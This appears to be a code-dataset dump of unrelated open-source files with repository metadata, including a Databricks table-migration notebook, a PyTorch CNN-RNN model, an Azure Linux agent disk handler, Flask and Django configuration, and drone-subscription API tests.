# Databricks notebook source # MAGIC %run ../_modules/epma_global/functions # COMMAND ---------- # MAGIC %run ../_modules/epma_global/test_helpers # COMMAND ---------- from pyspark.sql import functions as F # COMMAND ---------- dbutils.widgets.text('db', '', 'db') DB = dbutils.widgets.get('db') assert DB dbutils.widgets.text('unmappable_table_name', 'unmappable', 'unmappable_table_name') UNMAPPABLE_TABLE_NAME = dbutils.widgets.get('unmappable_table_name') assert UNMAPPABLE_TABLE_NAME dbutils.widgets.text('match_lookup_final_name', 'match_lookup_final', 'match_lookup_final_name') MATCH_LOOKUP_FINAL_TABLE_NAME = dbutils.widgets.get('match_lookup_final_name') assert MATCH_LOOKUP_FINAL_TABLE_NAME dbutils.widgets.text('processed_descriptions_table_name', 'processed_epma_descriptions', 'processed_descriptions_table_name') PROCESSED_DESCRIPTIONS_TABLE_NAME = dbutils.widgets.get('processed_descriptions_table_name') assert PROCESSED_DESCRIPTIONS_TABLE_NAME # COMMAND ---------- def add_form_in_text_col_to_match_lookup_final_table(db: str, table: str) -> None: if not table_exists(db, table): return df = spark.table(f'{db}.{table}') if 'form_in_text' not in df.columns: with TemporaryTable(df, db, create=True) as tmp_table: df_tmp_table = spark.table(f'{db}.{tmp_table.name}').withColumn('form_in_text', F.lit(' ')) df_tmp_table = df_tmp_table.select('original_epma_description', 'form_in_text', 'match_id', 'match_term', 'id_level', 'match_level', 'match_datetime', 'version_id', 'run_id') create_table(df_tmp_table, db, table=table, overwrite=True) # COMMAND ---------- def add_form_in_text_col_to_unmappable_table(db: str, table: str) -> None: if not table_exists(db, table): return df = spark.table(f'{db}.{table}') if 'form_in_text' not in df.columns: with TemporaryTable(df, db, create=True) as tmp_table: df_tmp_table = spark.table(f'{db}.{tmp_table.name}').withColumn('form_in_text', F.lit(' ')) df_tmp_table = df_tmp_table.select('original_epma_description', 'form_in_text', 'reason', 'match_datetime', 'run_id') create_table(df_tmp_table, db, table=table, overwrite=True) # COMMAND ---------- def add_form_in_text_col_to_processed_descriptions_table(db: str, table: str) -> None: if not table_exists(db, table): return df = spark.table(f'{db}.{table}') if 'form_in_text' not in df.columns: with TemporaryTable(df, db, create=True) as tmp_table: df_tmp_table = spark.table(f'{db}.{tmp_table.name}').withColumn('form_in_text', F.lit(' ')) df_tmp_table = df_tmp_table.select('original_epma_description', 'form_in_text', 'matched') create_table(df_tmp_table, db, table=table, overwrite=True) # COMMAND ---------- add_form_in_text_col_to_match_lookup_final_table(DB, MATCH_LOOKUP_FINAL_TABLE_NAME) add_form_in_text_col_to_unmappable_table(DB, UNMAPPABLE_TABLE_NAME) add_form_in_text_col_to_processed_descriptions_table(DB, PROCESSED_DESCRIPTIONS_TABLE_NAME)
36.113636
125
0.704216
0
0
0
0
0
0
0
0
1,042
0.327879
d54e3560503b5dd94b9ef2b1f63b8e1ccc96eeee
164
py
Python
allauth/socialaccount/providers/stripe/urls.py
mina-gaid/scp
38e1cd303d4728a987df117f666ce194e241ed1a
[ "MIT" ]
1
2018-04-06T21:36:59.000Z
2018-04-06T21:36:59.000Z
allauth/socialaccount/providers/stripe/urls.py
mina-gaid/scp
38e1cd303d4728a987df117f666ce194e241ed1a
[ "MIT" ]
6
2020-06-05T18:44:19.000Z
2022-01-13T00:48:56.000Z
allauth/socialaccount/providers/stripe/urls.py
mina-gaid/scp
38e1cd303d4728a987df117f666ce194e241ed1a
[ "MIT" ]
1
2022-02-01T17:19:28.000Z
2022-02-01T17:19:28.000Z
from allauth.socialaccount.providers.oauth2.urls import default_urlpatterns from .provider import StripeProvider urlpatterns = default_urlpatterns(StripeProvider)
32.8
75
0.878049
0
0
0
0
0
0
0
0
0
0
d54e772528672c15b49db9bb963f2e75f766bb4b
1,491
py
Python
state-change-localization-classification/slowFast-perceiver/models/frameselection_models.py
EGO4D/hands-and-objects
76d6ce6af1a9db4007ea24eb315f3f0eaea26bc2
[ "MIT" ]
24
2021-10-15T20:17:38.000Z
2022-03-30T18:54:55.000Z
state-change-localization-classification/slowFast-perceiver/models/frameselection_models.py
EGO4D/hands-and-objects
76d6ce6af1a9db4007ea24eb315f3f0eaea26bc2
[ "MIT" ]
1
2022-03-09T03:35:42.000Z
2022-03-10T20:50:24.000Z
state-change-localization-classification/slowFast-perceiver/models/frameselection_models.py
EGO4D/hands-and-objects
76d6ce6af1a9db4007ea24eb315f3f0eaea26bc2
[ "MIT" ]
4
2021-11-18T19:22:16.000Z
2022-03-21T02:51:35.000Z
import torch import torch.nn as nn import torchvision.models as models from torch.nn.utils.rnn import pack_padded_sequence, pad_packed_sequence from .build import MODEL_REGISTRY @MODEL_REGISTRY.register() class CNNRNN(nn.Module): def __init__(self, cfg): super().__init__() input_dim = 512 hidden_dim = 128 num_layers = 1 self.cnn = models.resnet50(pretrained=True) out_features = self.cnn.fc.in_features self.fc1 = nn.Linear(out_features, input_dim) self.fc2 = nn.Linear(hidden_dim, 1) self.rnn = nn.RNN(input_dim, hidden_dim, num_layers, batch_first=True) def forward(self, vid, lengths): B, T, *a = vid.shape vid = vid.permute(0, 1, 4, 2, 3) outs = [] def hook(module, input, output): outs.append(input) self.cnn.fc.register_forward_hook(hook) for t in range(T): # print(t) frame = vid[:, t, :, :, :] out = self.cnn(frame) if outs[0][0].ndim == 2: outs = [ten[0].unsqueeze(0) for ten in outs] else: outs = [ten[0] for ten in outs] outs = torch.cat(outs, dim=1) outs = self.fc1(outs) packed_seq = pack_padded_sequence(outs, lengths, batch_first=True, enforce_sorted=False) out, hn = self.rnn(packed_seq) padded_seq, lengths = pad_packed_sequence(out, batch_first=True) out = self.fc2(padded_seq) return out
29.82
96
0.602951
1,282
0.859826
0
0
1,309
0.877934
0
0
10
0.006707
d54fb479ac6c0ddd4d66b98b5bfa4aea9b2fd454
5,829
py
Python
azurelinuxagent/daemon/resourcedisk/openwrt.py
koifans/WALinuxAgent
236c6c12d89757589411651ae015640d371251a4
[ "Apache-2.0" ]
1
2020-11-23T10:48:28.000Z
2020-11-23T10:48:28.000Z
azurelinuxagent/daemon/resourcedisk/openwrt.py
koifans/WALinuxAgent
236c6c12d89757589411651ae015640d371251a4
[ "Apache-2.0" ]
1
2019-06-06T13:24:55.000Z
2019-06-06T13:24:55.000Z
azurelinuxagent/daemon/resourcedisk/openwrt.py
koifans/WALinuxAgent
236c6c12d89757589411651ae015640d371251a4
[ "Apache-2.0" ]
null
null
null
# Microsoft Azure Linux Agent # # Copyright 2018 Microsoft Corporation # Copyright 2018 Sonus Networks, Inc. (d.b.a. Ribbon Communications Operating Company) # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Requires Python 2.6+ and Openssl 1.0+ # import os import errno as errno import azurelinuxagent.common.logger as logger import azurelinuxagent.common.utils.fileutil as fileutil import azurelinuxagent.common.utils.shellutil as shellutil import azurelinuxagent.common.conf as conf from azurelinuxagent.common.exception import ResourceDiskError from azurelinuxagent.daemon.resourcedisk.default import ResourceDiskHandler class OpenWRTResourceDiskHandler(ResourceDiskHandler): def __init__(self): super(OpenWRTResourceDiskHandler, self).__init__() # Fase File System (FFS) is UFS if self.fs == 'ufs' or self.fs == 'ufs2': self.fs = 'ffs' def reread_partition_table(self, device): ret, output = shellutil.run_get_output("hdparm -z {0}".format(device), chk_err=False) if ret != 0: logger.warn("Failed refresh the partition table.") def mount_resource_disk(self, mount_point): device = self.osutil.device_for_ide_port(1) if device is None: raise ResourceDiskError("unable to detect disk topology") logger.info('Resource disk device {0} found.', device) # 2. Get partition device = "/dev/{0}".format(device) partition = device + "1" logger.info('Resource disk partition {0} found.', partition) # 3. Mount partition mount_list = shellutil.run_get_output("mount")[1] existing = self.osutil.get_mount_point(mount_list, device) if existing: logger.info("Resource disk [{0}] is already mounted [{1}]", partition, existing) return existing try: fileutil.mkdir(mount_point, mode=0o755) except OSError as ose: msg = "Failed to create mount point " \ "directory [{0}]: {1}".format(mount_point, ose) logger.error(msg) raise ResourceDiskError(msg=msg, inner=ose) force_option = 'F' if self.fs == 'xfs': force_option = 'f' mkfs_string = "mkfs.{0} -{2} {1}".format(self.fs, partition, force_option) # Compare to the Default mount_resource_disk, we don't check for GPT that is not supported on OpenWRT ret = self.change_partition_type(suppress_message=True, option_str="{0} 1 -n".format(device)) ptype = ret[1].strip() if ptype == "7" and self.fs != "ntfs": logger.info("The partition is formatted with ntfs, updating " "partition type to 83") self.change_partition_type(suppress_message=False, option_str="{0} 1 83".format(device)) self.reread_partition_table(device) logger.info("Format partition [{0}]", mkfs_string) shellutil.run(mkfs_string) else: logger.info("The partition type is {0}", ptype) mount_options = conf.get_resourcedisk_mountoptions() mount_string = self.get_mount_string(mount_options, partition, mount_point) attempts = 5 while not os.path.exists(partition) and attempts > 0: logger.info("Waiting for partition [{0}], {1} attempts remaining", partition, attempts) sleep(5) attempts -= 1 if not os.path.exists(partition): raise ResourceDiskError("Partition was not created [{0}]".format(partition)) if os.path.ismount(mount_point): logger.warn("Disk is already mounted on {0}", mount_point) else: # Some kernels seem to issue an async partition re-read after a # command invocation. This causes mount to fail if the # partition re-read is not complete by the time mount is # attempted. Seen in CentOS 7.2. Force a sequential re-read of # the partition and try mounting. logger.info("Mounting after re-reading partition info.") self.reread_partition_table(device) logger.info("Mount resource disk [{0}]", mount_string) ret, output = shellutil.run_get_output(mount_string) if ret: logger.warn("Failed to mount resource disk. " "Attempting to format and retry mount. [{0}]", output) shellutil.run(mkfs_string) ret, output = shellutil.run_get_output(mount_string) if ret: raise ResourceDiskError("Could not mount {0} " "after syncing partition table: " "[{1}] {2}".format(partition, ret, output)) logger.info("Resource disk {0} is mounted at {1} with {2}", device, mount_point, self.fs) return mount_point
42.860294
109
0.593927
4,701
0.806485
0
0
0
0
0
0
2,014
0.345514
d5519eaf2867f48a79c81e7d904b4b74a968d747
1,828
py
Python
lib/stacks/publish_to_social/lambda/send_report.py
shaftoe/api-l3x-in
06426f62708051b570e8839398562982d770903f
[ "Apache-2.0" ]
11
2020-03-01T15:24:09.000Z
2022-01-06T08:31:31.000Z
lib/stacks/publish_to_social/lambda/send_report.py
sierrezinal/api-l3x-in
0c5122a29ecd8f94cb9b99909499c330969d26ee
[ "Apache-2.0" ]
1
2020-08-28T15:25:39.000Z
2020-08-30T07:35:59.000Z
lib/stacks/publish_to_social/lambda/send_report.py
sierrezinal/api-l3x-in
0c5122a29ecd8f94cb9b99909499c330969d26ee
[ "Apache-2.0" ]
5
2020-10-15T03:06:37.000Z
2021-09-29T07:07:18.000Z
from os import environ as env import json import utils import utils.aws as aws import utils.handlers as handlers def put_record_to_logstream(event: utils.LambdaEvent) -> str: """Put a record of source Lambda execution in LogWatch Logs.""" log_group_name = env["REPORT_LOG_GROUP_NAME"] utils.Log.info("Fetching requestPayload and responsePayload") req, res = event["requestPayload"], event["responsePayload"] utils.Log.info("Fetching requestPayload content") sns_payload = req["Records"][0]["Sns"] message_id = sns_payload["MessageId"] message = json.loads(sns_payload["Message"]) url, title = message["url"], message["title"] try: body = json.loads(res["body"]) except json.JSONDecodeError as error: raise utils.HandledError("Failed decoding payload: %s" % error) name, timestamp = body["name"], body["timestamp"] if res["statusCode"] != 200: raise utils.HandledError("Source lambda '%s' failed with status code %d, " "ignoring report" % (name, res["statusCode"])) return aws.send_event_to_logstream(log_group=log_group_name, log_stream=name, message={ "url": url, "MessageId": message_id, "title": title, "timestamp": timestamp, }) def handler(event, context) -> utils.Response: """Lambda entry point.""" return handlers.EventHandler( name="send_report", event=utils.LambdaEvent(event), context=utils.LambdaContext(context), action=put_record_to_logstream, ).response
34.490566
82
0.571116
0
0
0
0
0
0
0
0
457
0.25
d551aabe726e69db8b462ea2ce644c9f926174ad
2,999
py
Python
RAMLFlask/Server.py
nm-wu/RAMLFlask
003ceb0f0b68d0d80d8fb8fcd6d5b329a1608dd0
[ "BSD-3-Clause" ]
4
2017-11-30T10:23:12.000Z
2020-06-07T01:05:12.000Z
RAMLFlask/Server.py
nm-wu/RAMLFlask
003ceb0f0b68d0d80d8fb8fcd6d5b329a1608dd0
[ "BSD-3-Clause" ]
null
null
null
RAMLFlask/Server.py
nm-wu/RAMLFlask
003ceb0f0b68d0d80d8fb8fcd6d5b329a1608dd0
[ "BSD-3-Clause" ]
1
2017-12-14T17:11:05.000Z
2017-12-14T17:11:05.000Z
import os from importlib import import_module from flask import Flask import ConfigParser import Printer class Server: def __init__(self, generator, comparison, config_file='config.ini'): # Generator class self.gen = generator # Comparison class self.comp = comparison cparse = ConfigParser.ConfigParser() cparse.read(config_file) self.generated_dir = os.path.join('generated') self.routes_dir = os.path.join('routes') self.delegates_dir = os.path.join('delegates') if cparse.has_section('DIRECTORIES'): if cparse.has_option('DIRECTORIES', 'generated'): self.gen.generated_directory = cparse.get('DIRECTORIES', 'generated') self.comp.generated_directory = cparse.get('DIRECTORIES', 'generated') if cparse.has_option('DIRECTORIES', 'routes'): self.gen.routes_directory = cparse.get('DIRECTORIES', 'routes') self.comp.routes_directory = cparse.get('DIRECTORIES', 'routes') if cparse.has_option('DIRECTORIES', 'delegates'): self.gen.delegates_directory = cparse.get('DIRECTORIES', 'delegates') self.comp.delegates_directory = cparse.get('DIRECTORIES', 'delegates') def generate(self, generate=True, bind=True): if generate == True: self.gen.generate_code() if bind == True: self.gen.bind_routes() def compare(self, p_v=True, p_r=True, p_t=True, static_validations=None, static_rtypes=None, test_in=[]): self.comp.current_version = self.gen.current_file_name self.comp.test_res = self.gen.test_res self.comp.new_v_file = self.gen.new_v_file self.comp.new_r_file = self.gen.new_r_file if p_v == True: out = self.comp.static_valid_analysis(static_validations) for i in out: Printer.info_print(i) if p_r == True: out = self.comp.static_rtypes_analysis(static_rtypes) for i in out: Printer.info_print(i) if p_t == True: out = self.comp.test_analysis() for i in out: if i[0] == 'INFO': Printer.info_print(i[1]) else: Printer.warn_print(i[1]) def start_server(self): # Creates the basic Flask app self.app = Flask(__name__) self.app = Flask(__name__) folder = self.gen.generated_directory.replace('/', '.').replace('\\', '.') + '.' while folder[0] == '.': folder = folder[1:] while folder[-1] == '.': folder = folder[:-1] module = import_module(folder + '.route_mappings', 'route_imports') self.app.register_blueprint(module.route_imports, url_prefix='') self.app.run() def exec_all(self): self.generate(True, True) self.compare(True, True, True) self.start_server()
34.872093
109
0.596199
2,893
0.964655
0
0
0
0
0
0
388
0.129376
d551c440a4a93ff739f21c92c784dfb223859c3d
416
py
Python
native/public/urls.py
Andrew-Chen-Wang/django-3.0-private-messaging
d7c02c42dfd077cd234df3ed08d7ed692dc2b4c7
[ "BSD-3-Clause" ]
1
2020-05-21T03:17:29.000Z
2020-05-21T03:17:29.000Z
native/public/urls.py
Andrew-Chen-Wang/django-3.0-private-messaging
d7c02c42dfd077cd234df3ed08d7ed692dc2b4c7
[ "BSD-3-Clause" ]
7
2021-03-30T12:48:24.000Z
2021-06-10T18:35:08.000Z
native/public/urls.py
Andrew-Chen-Wang/django-3.0-private-messaging
d7c02c42dfd077cd234df3ed08d7ed692dc2b4c7
[ "BSD-3-Clause" ]
1
2020-05-05T08:31:16.000Z
2020-05-05T08:31:16.000Z
from django.urls import path, include from . import views urlpatterns = [ path("", views.index, name="index"), # Authentication path("accounts/", include("django.contrib.auth.urls")), path("accounts/register/", views.register, name="register"), # Test URLs path("test/wsconn", views.wsconn, name="wsconntest"), # Chat URL path("chat/<int:thread>", views.open_chat, name="chat") ]
24.470588
64
0.653846
0
0
0
0
0
0
0
0
163
0.391827
d5537a673b3a26aa0f21d11d643794a306a0cc11
4,337
py
Python
drex-atari/train.py
abalakrishna123/CoRL2019-DREX
b80b3308559261f7144d173ee293eb3c5b4a0502
[ "MIT" ]
36
2019-11-02T02:48:47.000Z
2022-03-04T19:10:28.000Z
drex-atari/train.py
abalakrishna123/CoRL2019-DREX
b80b3308559261f7144d173ee293eb3c5b4a0502
[ "MIT" ]
16
2019-10-31T16:19:34.000Z
2022-03-12T00:02:27.000Z
drex-atari/train.py
abalakrishna123/CoRL2019-DREX
b80b3308559261f7144d173ee293eb3c5b4a0502
[ "MIT" ]
13
2019-11-06T08:32:06.000Z
2022-02-28T06:56:10.000Z
import os from bc import Imitator import numpy as np from dataset import Example, Dataset import utils #from ale_wrapper import ALEInterfaceWrapper from evaluator import Evaluator from pdb import set_trace import matplotlib.pyplot as plt #try bmh plt.style.use('bmh') def smooth(losses, run=10): new_losses = [] for i in range(len(losses)): new_losses.append(np.mean(losses[max(0, i - 10):i+1])) return new_losses def plot(losses, checkpoint_dir, env_name): print("Plotting losses to ", os.path.join(checkpoint_dir, env_name + "_loss.png")) p=plt.plot(smooth(losses, 25)) plt.xlabel("Update") plt.ylabel("Loss") plt.legend(loc='lower center') plt.savefig(os.path.join(checkpoint_dir, env_name + "loss.png")) def train(env_name, minimal_action_set, learning_rate, alpha, l2_penalty, minibatch_size, hist_len, discount, checkpoint_dir, updates, dataset, validation_dataset, num_eval_episodes, epsilon_greedy, extra_info): import tracemalloc # create DQN agent agent = Imitator(list(minimal_action_set), learning_rate, alpha, checkpoint_dir, hist_len, l2_penalty) print("Beginning training...") log_frequency = 500 log_num = log_frequency update = 1 running_loss = 0. best_v_loss = np.float('inf') count = 0 while update < updates: # snapshot = tracemalloc.take_snapshot() # top_stats = snapshot.statistics('lineno') # import gc # for obj in gc.get_objects(): # try: # if torch.is_tensor(obj) or (hasattr(obj, 'data') and torch.is_tensor(obj.data)): # print(type(obj), obj.size()) # except: # pass # # print("[ Top 10 ]") # for stat in top_stats[:10]: # print(stat) if update > log_num: print(str(update) + " updates completed. Loss {}".format(running_loss / log_frequency)) log_num += log_frequency running_loss = 0 #run validation loss test v_loss = agent.validate(validation_dataset, 10) print("Validation accuracy = {}".format(v_loss / validation_dataset.size)) if v_loss > best_v_loss: count += 1 if count > 5: print("validation not improing for {} steps. Stopping to prevent overfitting".format(count)) break else: best_v_loss = v_loss print("updating best vloss", best_v_loss) count = 0 l = agent.train(dataset, minibatch_size) running_loss += l update += 1 print("Training completed.") agent.checkpoint_network(env_name, extra_info) #Plot losses #Evaluation print("beginning evaluation") evaluator = Evaluator(env_name, num_eval_episodes, checkpoint_dir, epsilon_greedy) evaluator.evaluate(agent) return agent def train_transitions(env_name, minimal_action_set, learning_rate, alpha, l2_penalty, minibatch_size, hist_len, discount, checkpoint_dir, updates, dataset, num_eval_episodes): # create DQN agent agent = Imitator(list(minimal_action_set), learning_rate, alpha, checkpoint_dir, hist_len, l2_penalty) print("Beginning training...") log_frequency = 1000 log_num = log_frequency update = 1 running_loss = 0. while update < updates: if update > log_num: print(str(update) + " updates completed. Loss {}".format(running_loss / log_frequency)) log_num += log_frequency running_loss = 0 l = agent.train(dataset, minibatch_size) running_loss += l update += 1 print("Training completed.") agent.checkpoint_network(env_name + "_transitions") #calculate accuacy #Evaluation #evaluator = Evaluator(env_name, num_eval_episodes) #evaluator.evaluate(agent) return agent if __name__ == '__main__': train()
29.107383
111
0.587733
0
0
0
0
0
0
0
0
993
0.22896
d5539201acc74777191577d0a77d4057f6de4e8d
153
py
Python
graphgallery/utils/ipynb.py
EdisonLeeeee/GraphGallery
4eec9c5136bda14809bd22584b26cc346cdb633b
[ "MIT" ]
300
2020-08-09T04:27:41.000Z
2022-03-30T07:43:41.000Z
graphgallery/utils/ipynb.py
EdisonLeeeee/GraphGallery
4eec9c5136bda14809bd22584b26cc346cdb633b
[ "MIT" ]
5
2020-11-05T06:16:50.000Z
2021-12-11T05:05:22.000Z
graphgallery/utils/ipynb.py
EdisonLeeeee/GraphGallery
4eec9c5136bda14809bd22584b26cc346cdb633b
[ "MIT" ]
51
2020-09-23T15:37:12.000Z
2022-03-05T01:28:56.000Z
from IPython import get_ipython from IPython.display import display def is_ipynb(): return type(get_ipython()).__module__.startswith('ipykernel.')
21.857143
66
0.784314
0
0
0
0
0
0
0
0
12
0.078431
d55427688a084bec0e9255b152935a5e5812cfae
8,526
py
Python
monitoring/prober/scd/test_subscription_queries.py
rpai1/dss
79d8110c336851b155a6e5417692ec68b70c0c07
[ "Apache-2.0" ]
1
2021-03-06T19:31:04.000Z
2021-03-06T19:31:04.000Z
monitoring/prober/scd/test_subscription_queries.py
rpai1/dss
79d8110c336851b155a6e5417692ec68b70c0c07
[ "Apache-2.0" ]
null
null
null
monitoring/prober/scd/test_subscription_queries.py
rpai1/dss
79d8110c336851b155a6e5417692ec68b70c0c07
[ "Apache-2.0" ]
1
2020-09-20T22:15:36.000Z
2020-09-20T22:15:36.000Z
"""Strategic conflict detection Subscription query tests: - add a few Subscriptions spaced in time and footprints - query with various combinations of arguments """ import datetime from monitoring.monitorlib.infrastructure import default_scope from monitoring.monitorlib import scd from monitoring.monitorlib.scd import SCOPE_SC SUB1_ID = '00000088-b268-481c-a32d-6be442000000' SUB2_ID = '00000017-a3fe-42d6-9f3b-83dec2000000' SUB3_ID = '0000001b-9c8a-475e-a82d-d81922000000' LAT0 = 23 LNG0 = 56 # This value should be large enough to ensure areas separated by this distance # will lie in separate grid cells. FOOTPRINT_SPACING_M = 10000 def _make_sub1_req(): time_start = datetime.datetime.utcnow() time_end = time_start + datetime.timedelta(minutes=60) lat = LAT0 - scd.latitude_degrees(FOOTPRINT_SPACING_M) return { "extents": scd.make_vol4(None, time_end, 0, 300, scd.make_circle(lat, LNG0, 100)), "old_version": 0, "uss_base_url": "https://example.com/foo", "notify_for_operations": True, "notify_for_constraints": False } def _make_sub2_req(): time_start = datetime.datetime.utcnow() + datetime.timedelta(hours=2) time_end = time_start + datetime.timedelta(minutes=60) return { "extents": scd.make_vol4(time_start, time_end, 350, 650, scd.make_circle(LAT0, LNG0, 100)), "old_version": 0, "uss_base_url": "https://example.com/foo", "notify_for_operations": True, "notify_for_constraints": False } def _make_sub3_req(): time_start = datetime.datetime.utcnow() + datetime.timedelta(hours=4) time_end = time_start + datetime.timedelta(minutes=60) lat = LAT0 + scd.latitude_degrees(FOOTPRINT_SPACING_M) return { "extents": scd.make_vol4(time_start, time_end, 700, 1000, scd.make_circle(lat, LNG0, 100)), "old_version": 0, "uss_base_url": "https://example.com/foo", "notify_for_operations": True, "notify_for_constraints": False } def test_ensure_clean_workspace(scd_session): for sub_id in (SUB1_ID, SUB2_ID, SUB3_ID): resp = scd_session.get('/subscriptions/{}'.format(sub_id), scope=SCOPE_SC) if resp.status_code == 200: resp = scd_session.delete('/subscriptions/{}'.format(sub_id), scope=SCOPE_SC) assert resp.status_code == 200, resp.content elif resp.status_code == 404: # As expected. pass else: assert False, resp.content # Preconditions: No named Subscriptions exist # Mutations: None @default_scope(SCOPE_SC) def test_subs_do_not_exist_get(scd_session): for sub_id in (SUB1_ID, SUB2_ID, SUB3_ID): resp = scd_session.get('/subscriptions/{}'.format(sub_id)) assert resp.status_code == 404, resp.content # Preconditions: No named Subscriptions exist # Mutations: None @default_scope(SCOPE_SC) def test_subs_do_not_exist_query(scd_session): resp = scd_session.post('/subscriptions/query', json={ 'area_of_interest': scd.make_vol4(None, None, 0, 5000, scd.make_circle(LAT0, LNG0, FOOTPRINT_SPACING_M)) }) assert resp.status_code == 200, resp.content result_ids = [x['id'] for x in resp.json()['subscriptions']] for sub_id in (SUB1_ID, SUB2_ID, SUB3_ID): assert sub_id not in result_ids # Preconditions: No named Subscriptions exist # Mutations: Subscriptions 1, 2, and 3 created @default_scope(SCOPE_SC) def test_create_subs(scd_session): resp = scd_session.put('/subscriptions/{}'.format(SUB1_ID), json=_make_sub1_req()) assert resp.status_code == 200, resp.content resp = scd_session.put('/subscriptions/{}'.format(SUB2_ID), json=_make_sub2_req()) assert resp.status_code == 200, resp.content resp = scd_session.put('/subscriptions/{}'.format(SUB3_ID), json=_make_sub3_req()) assert resp.status_code == 200, resp.content # Preconditions: Subscriptions 1, 2, and 3 created # Mutations: None @default_scope(SCOPE_SC) def test_search_find_all_subs(scd_session): resp = scd_session.post( '/subscriptions/query', json={ "area_of_interest": scd.make_vol4(None, None, 0, 3000, scd.make_circle(LAT0, LNG0, FOOTPRINT_SPACING_M)) }) assert resp.status_code == 200, resp.content result_ids = [x['id'] for x in resp.json()['subscriptions']] for sub_id in (SUB1_ID, SUB2_ID, SUB3_ID): assert sub_id in result_ids # Preconditions: Subscriptions 1, 2, and 3 created # Mutations: None @default_scope(SCOPE_SC) def test_search_footprint(scd_session): lat = LAT0 - scd.latitude_degrees(FOOTPRINT_SPACING_M) print(lat) resp = scd_session.post( '/subscriptions/query', json={ "area_of_interest": scd.make_vol4(None, None, 0, 3000, scd.make_circle(lat, LNG0, 50)) }) assert resp.status_code == 200, resp.content result_ids = [x['id'] for x in resp.json()['subscriptions']] assert SUB1_ID in result_ids assert SUB2_ID not in result_ids assert SUB3_ID not in result_ids resp = scd_session.post( '/subscriptions/query', json={ "area_of_interest": scd.make_vol4(None, None, 0, 3000, scd.make_circle(LAT0, LNG0, 50)) }) assert resp.status_code == 200, resp.content result_ids = [x['id'] for x in resp.json()['subscriptions']] assert SUB1_ID not in result_ids assert SUB2_ID in result_ids assert SUB3_ID not in result_ids # Preconditions: Subscriptions 1, 2, and 3 created # Mutations: None @default_scope(SCOPE_SC) def test_search_time(scd_session): time_start = datetime.datetime.utcnow() time_end = time_start + datetime.timedelta(minutes=1) resp = scd_session.post( '/subscriptions/query', json={ "area_of_interest": scd.make_vol4(time_start, time_end, 0, 3000, scd.make_circle(LAT0, LNG0, FOOTPRINT_SPACING_M)) }) assert resp.status_code == 200, resp.content result_ids = [x['id'] for x in resp.json()['subscriptions']] assert SUB1_ID in result_ids assert SUB2_ID not in result_ids assert SUB3_ID not in result_ids resp = scd_session.post( '/subscriptions/query', json={ "area_of_interest": scd.make_vol4(None, time_end, 0, 3000, scd.make_circle(LAT0, LNG0, FOOTPRINT_SPACING_M)) }) assert resp.status_code == 200, resp.content result_ids = [x['id'] for x in resp.json()['subscriptions']] assert SUB1_ID in result_ids assert SUB2_ID not in result_ids assert SUB3_ID not in result_ids time_start = datetime.datetime.utcnow() + datetime.timedelta(hours=4) time_end = time_start + datetime.timedelta(minutes=1) resp = scd_session.post( '/subscriptions/query', json={ "area_of_interest": scd.make_vol4(time_start, time_end, 0, 3000, scd.make_circle(LAT0, LNG0, FOOTPRINT_SPACING_M)) }) assert resp.status_code == 200, resp.content result_ids = [x['id'] for x in resp.json()['subscriptions']] assert SUB1_ID not in result_ids assert SUB2_ID not in result_ids assert SUB3_ID in result_ids resp = scd_session.post( '/subscriptions/query', json={ "area_of_interest": scd.make_vol4(time_start, None, 0, 3000, scd.make_circle(LAT0, LNG0, FOOTPRINT_SPACING_M)) }) assert resp.status_code == 200, resp.content result_ids = [x['id'] for x in resp.json()['subscriptions']] assert SUB1_ID not in result_ids assert SUB2_ID not in result_ids assert SUB3_ID in result_ids # Preconditions: Subscriptions 1, 2, and 3 created # Mutations: None @default_scope(SCOPE_SC) def test_search_time_footprint(scd_session): time_start = datetime.datetime.utcnow() time_end = time_start + datetime.timedelta(hours=2.5) lat = LAT0 + scd.latitude_degrees(FOOTPRINT_SPACING_M) resp = scd_session.post( '/subscriptions/query', json={ "area_of_interest": scd.make_vol4(time_start, time_end, 0, 3000, scd.make_circle(lat, LNG0, FOOTPRINT_SPACING_M)) }) assert resp.status_code == 200, resp.content result_ids = [x['id'] for x in resp.json()['subscriptions']] assert SUB1_ID not in result_ids assert SUB2_ID in result_ids assert SUB3_ID not in result_ids # Preconditions: Subscriptions 1, 2, and 3 created # Mutations: Subscriptions 1, 2, and 3 deleted @default_scope(SCOPE_SC) def test_delete_subs(scd_session): for sub_id in (SUB1_ID, SUB2_ID, SUB3_ID): resp = scd_session.delete('/subscriptions/{}'.format(sub_id)) assert resp.status_code == 200, resp.content
34.518219
108
0.700563
0
0
0
0
5,522
0.647666
0
0
1,976
0.231762
d55558bb3f6a8ea15ddbd66ee162839cfc0d523b
516
py
Python
backend/mp/apps/questionnarie/migrations/0002_auto_20200327_1422.py
shidashui/mymp
75d81906908395ece1c8d12249d6afc4bd2d0704
[ "MIT" ]
1
2020-03-14T12:33:24.000Z
2020-03-14T12:33:24.000Z
backend/mp/apps/questionnarie/migrations/0002_auto_20200327_1422.py
shidashui/mymp
75d81906908395ece1c8d12249d6afc4bd2d0704
[ "MIT" ]
8
2021-03-19T00:59:11.000Z
2022-03-12T00:19:38.000Z
backend/mp/apps/questionnarie/migrations/0002_auto_20200327_1422.py
shidashui/mymp
75d81906908395ece1c8d12249d6afc4bd2d0704
[ "MIT" ]
null
null
null
# Generated by Django 3.0.4 on 2020-03-27 14:22 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('questionnarie', '0001_initial'), ] operations = [ migrations.RemoveField( model_name='questionnaire', name='email', ), migrations.AddField( model_name='questionnaire', name='user_id', field=models.IntegerField(default=0, verbose_name='用户id'), ), ]
22.434783
70
0.581395
427
0.821154
0
0
0
0
0
0
132
0.253846
d55583a4f654b4e383a9599f22b9a53cb07d00f4
2,250
py
Python
engine/scene.py
amirgeva/retroupy
1ee19b36a72c5f592cce150d1d0382a00ccdc4a0
[ "BSD-3-Clause" ]
null
null
null
engine/scene.py
amirgeva/retroupy
1ee19b36a72c5f592cce150d1d0382a00ccdc4a0
[ "BSD-3-Clause" ]
null
null
null
engine/scene.py
amirgeva/retroupy
1ee19b36a72c5f592cce150d1d0382a00ccdc4a0
[ "BSD-3-Clause" ]
null
null
null
